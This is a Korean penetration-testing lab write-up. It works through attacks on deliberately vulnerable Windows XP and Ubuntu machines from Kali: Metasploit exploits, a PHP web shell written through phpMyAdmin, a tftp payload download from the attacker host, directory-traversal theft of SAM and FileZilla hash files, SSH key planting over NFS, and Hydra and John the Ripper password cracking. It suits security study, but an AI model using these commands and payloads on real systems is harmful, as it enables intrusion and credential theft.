metasploit을 실행한 뒤, windows/smb/ms08_067_netapi로 취약점을 지정한다. show payloads 명령어를 통해 설정 가능한 payload 목록을 확인할 수 있다.
reverse connection을 사용하는 reverse shell을 사용한다.
Metasploit을 위한 커스텀 payload로 exploit된 프로세스의 메모리에 로딩되므로 디스크에는 흔적을 남기지 않는다. 또한 새로운 프로세스를 시작할 필요가 없기 때문에 IPS나 IDP에 잘 감지되지 않는다. 호스트와의 통신을 위해 TLS 암호화를 사용한다.
RHOST로 타깃 시스템의 IP주소를, LHOST로 kali의 IP주소를 입력한다. exploit이 성공하면 reverse shell을 통하여 타깃 시스템에서 시행할 명령어를 입력할 수 있다.
windows cmd 명령어가 정상적으로 작동하는 것을 확인할 수 있다.
타깃 winXP에서는 WebDAV에 defulat login credential로 접근할 수 있는 XAMPP가 설치되어있다. WebDAV 커맨드 라인을 사용하면 Cadaver를 통해 서버에 공격자가 원하는 페이지를 업로드할 수 있다.
테스트용 간단한 파일을 하나 작성한다.
Cadaver를 사용하여 wampp|xampp로 WebDAV에 로그인한다.
put 명령어를 사용하여 만들어 놓은 테스트 파일을 업로드한다.
웹 서버에 접속하여 업로드한 파일을 확인할 수 있다.
업로드가 잘 되는 것을 확인하였으니 본격적인 exploit을 위해 스크립트를 업로드해야한다. 타깃 시스템이 Apache web server를 통해 웹 서버를 구동하고 있다면 Apache의 system-level 권한을 탈취하는 것을 목표로한다. 혹은, Apache를 실행시킨 사용자의 권한도 좋다.
WebDAV 사용자는 웹 서버에 스크립트를 업로드할 수 있다. php 파일을 업로드하는 것을 목표로한다.
Msfvenom은 Metasploit에서 사용되는 payload를 stand-alone 버전으로 생성해준다. -l payloads 명령어를 활용하여 php payload를 찾는다.
php/meterpreter/reverse_crp payload를 사용한다. 필요한 옵션은 --list-options를 통해 조회할 수 있다.
LHOST, LPORT 옵션을 지정해주면서 -f 명령어로 raw 데이터를 php 파일에 출력한다.
이제 생성된 php payload를 WebDAV에 업로드한다.
스크립트가 실행되기 전에 msfconsole이 payload를 받을 수 있도록 준비해주어야한다.
생성한 payload에 맞게 handler를 설정한다. exploit 명령어로 reverse 쉘과 연결을 대기할 수 있다. 업로드한 meterpreter.php에 브라우저로 접속하면 msf6이 meterpreter 연결을 자동으로 받는다. getuid 명령을 통해 시스템 권한을 확인할 수 있다.
앞서 Apache의 권한을 획득한 것처럼 MySQL 서버의 권한을 획득한다. WebDAV에서 한 것처럼 MySQL을 사용하는 웹 서버에 스크립트를 업로드할 수 있다.
win XP 웹서버의 phpmyadmin 페이지에 접속하여 SQL 탭을 선택한다.
SELECT 구문을 사용하여 php 스크립트가 실행되도록 한다. 스크립트로 URL 속의 cmd 파라미터를 얻어 실행할 수 있다.
windows의 XAMPP Apache 기본 설치 경로는 C:\xampp\htodcs이다. 다음과 같은 SQL 쿼리를 작성하여 phpMyAdmin에서 실행한다.
SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\shell1.php"
이제 shell1.php 파일이 제대로 생성되었는지 확인한다.
생성된 것은 확인했지만 systax 에러가 발생한다. cmd 파라미터를 제공해주지 않았기 때문이다. cmd 파라미터에 원하는 명령어를 입력한다. 명렁어 결과가 화면에 출력된다.
TFTP를 사용하면 windows에서 웹에 존재하는 파일을 다운받을 수 있다.
kali에서 atftpd를 사용하여 TFTP를 호스팅한다. 경로는 이전에 생성한 meterpreter.php가 있는 곳으로 한다.
shell1에서 다음과 같은 명령어를 cmd 파라미터로 제공한다. 타깃 windows XP가 meterpreter.php를 다운로드한다.
tftp [kail IP] get meterpreter.php C:\\xampp\\htdocs\\meterpreter.php
windows XP의 웹서버에서 meterpreter.php로 접속하면 msf에서 meterpreter를 실행할 수 있다.
Zervit 서버에는 directory traversal 취약점이 존재한다. 이를 활용하면 별도의 인가 없이도 시스템 디렉토리에서 파일을 다운로드할 수 있다. password hash가 담긴 파일을 얻어내는 것을 목표로한다.
FileNilla FTP 서버는 기본적으로 C:\xampp\FileZillaFtp에 위치한다. 그리고 FileZilla server.xml에는 password MD5 hash가 담겨 있다.
Zervit이 사용하는 포트 3232번으로 접속하여 directory traversal로 해당 파일을 찾는다.
[winxp]:3232/index.html?../../../../../../xampp/FileZillaFtp/FileZilla Server.xml
위의 경로에서 파일을 다운로드 받을 수 있다. 다운로드한 파일에서 다음과 같이 User 정보와 hash된 password를 찾을 수 있다.
비슷한 방법으로 C:\Windows\System32\config에 존재하는 SAM 파일도 얻을 수 있다. SAM 파일에는 windows 사용자의 password가 RC4로 암호화되어 저장되어 있다. 이 암호화의 키는 SYSTEM 파일에 존재한다.
[winxp]:3232/index.html?../../../../../../WINDOWS/system32/config/sam
위의 경로에서 SAM 파일을 다운받을 수 있다. 그러나 Zervit이 위 경로에 접근 권한이 없기 때문에 파일을 찾을 수 없다는 오류가 뜬다.
그 대신 C:\Windows\repair 디렉토리에서 두 파일을 찾을 수 있다. 다음 경로에서 두 파일을 다운로드할 수 있다.
[winxp]:3232/index.html?../../../../../../WINDOWS/repair/sam
[winxp]:3232/index.html?../../../../../../WINDOWS/repair/system
타깃 win XP의 SLMail 서버에게 POP3 취약점이 존재한다. metasploit의 windows/pop3/seattlelab_pass 모듈을 사용한다.
payload로는 windows/meterpreter/reverse_tcp를 사용한다. RHOST로 타깃 win XP의 IP주소를 지정한 뒤 exploit한다.
성공적으로 meterpreter가 실행되었다.
타깃 Ubuntu에는 TikiWiki CMS 1.9.8버전이 설치되어 있다. 이 버전에는 graph_formul.php 스크립트와 관련된 취약점이 존재한다.
unix/webapp/tikiwiki_graph_formula_exec 취약점을 사용한다.
PHP 커맨드 실행과 관련된 취약점이므로 php로 된 meterpeter payload를 사용해야한다. php/meterpreter/reverse_tcp를 사용한다. RHOST를 타깃 Ubuntu의 IP로, LHOST를 kali로 지정하고 exploit한다.
성공적으로 meterpreter와 연결되었다.
타깃 ubuntu에는 백도어 코드가 포함된 Vsftpd가 존재한다. username으로 ":)"로 끝나는 문자열을 입력하면 password와 상관 없이 백도어에 접근할 수 있다.
패스워드를 입력하면 프로세스가 멈춘채로 반응하지 않는다. nc을 이용하여 해당 서비스가 이용 중인 6200에 접속하면 root로 실행되고 있는 것을 확인할 수 있다. root shell을 얻어낸 것이다.
타깃 우분투의 NFS 시스템이 anonymous로 접근 가능한 점을 이용하여 타깃 우분투의 nft를 kali에 마운트한다.
.ssh 디렉토리가 존재한다.
그 안에서 SSH key들을 발견할 수 있다. id_rsa는 개인 키이고 id_rsa.pub이 이에 대응하는 공개키이다.
authorized_key 파일의 내용을 조작할 수 있다. 이 파일은 해당 사용자로 인증할 수 있는 SSH 공개키 목록이다. 이곳에 공격자가 가진 키를 추가하면 패스워드 없이도 타깃 ubuntu에 해당 사용자로 로그인할 수 있다.
먼저 ssh 키를 생성한다. 기본 저장 위치는 /root/.ssh이다.
새로 생성한 공개키를 마운트한 Ubuntu 사용자의 authorized_keys 파일에 추가한다.
이제 SSH를 사용하여 별도의 인증없이 타깃 Ubuntu로 로그인할 수 있다. 혹은 ubuntu 사용자의 키를 복사하여 마치 kali의 ssh키가 ubuntu의 것과 같은 듯 사용할 수도 있다. ssh-add로 복사한 키를 ssh에 추가할 수 있다.
존재할 법한 Username과 password 리스트를 작성한다. 기업 등의 조직들은 특정 패턴에 맞추어 username을 정하기도 한다. 이런 식으로 username을 추측해서 리스트를 작성해보자. password도 마찬가지이다. Information gathering 단계에서 얻은 여러 정보를 이용하면 좋다. kali에 내장된 wordlist도 있다.
ceWL은 홈페이지를 분석하여 wordlist를 생성한다. 단어의 최소 길이 등 여러 설정을 직접 지정할 수 있다.
Crunch는 주어진 문자 set을 조합해 문자열을 만들어내는 도구이다.
Hydra를 사용하여 이렇게 모은 wordlist로 username과 password를 추측할 수 있다.
hydra -L [userwordlist] -P [passwordlist] [target] [protocol]
앞서 작성한 userlist 파일과 passwordfile을 이용하여 win XP의 pop3 로그인을 시도한다.
위와 같이 rinm|passwd 조합이 로그인에 성공했음을 확인할 수 있다.
특정 username이 존재한다는 사실을 알고 있는 경우 password만 추측할 수도 있다.
앞서 얻어낸 password hash가 기록된 파일에서 hash값을 평문으로 바꾸는 시도를 할 수 있다. Hash는 일방향 연산이므로 역연산을 해낼 수는 없다. 하지만 hash값이 같은 평문을 찾는 방식으로 password를 추정해낼 수 있다.
meterpreter에서는 hashdump 명령어를 사용하여 password hash를 얻을 수 있다.
SAM 파일의 password hash는 SYSTEM 파일에 존재하는 bootkey로 RC4 암호화되어있다. Samdump2를 이용하여 SYSTEM 파일에서 bootkey를 추출하고 이것으로 바로 SAM 파일을 복호화할 수 있다.
하지만 이 경우 C:\Windows\System32\config에서 두 파일을 추출해낸 것이 아닌, C:\Windows\repair\에서 추출해내었기 때문에 windows 설치 후 만들어낸 두 계정 rinm과 secret에 대한 정보는 누락되었다. 다른 계정들 또한 최신 정보가 아닐 확률이 높다.
John the ripper는 내장된 wordlist를 사용하여 LM hash에 brute force를 시행한다. LM은 모든 문자를 대문자로 변환하고 7자리인 문자열 2개로 나누어 hash를 적용한다. 이 때문에 LM hash는 brute force에 취약하여 비교적 쉽게 password를 알아낼 수 있다.
John the ripper는 LM 구조에 따라 7자리씩 password를 찾아낸다.
위와 같이 7자리가 안되는 password는 물론 7자리 보다 긴 password 또한 성공적으로 찾아내었다. LM hash의 취약점을 보완하기 위하여 등장한 NTML은 Brute force 공격에 강하다.
앞서 얻어낸 linux의 shadow 파일은 다음과 같은 구조로 되어 있다.
password는 MD5 hash 되어 주어진다. MD5는 Brute force 공격을 시도하기에는 적합하지 않기 때문에 wordlist를 사용한다. John the Ripper에는 내장된 wordlist가 존재한다.
FileZilla FTP 서버를 통해 얻은 FileZilla server.xml 속의 MD5 hash는 인터넷 검색 만으로도 reverse hash 값을 찾을 수 있다. Rainbow Table을 이용할 수도 있다.
Windows Credential Editor(WCE)를 사용하면 시스템 메모리에서 평문 상태의 windows password를 얻을 수 있다. 타깃 windows 시스템에 wce를 설치하고 실행하면 된다.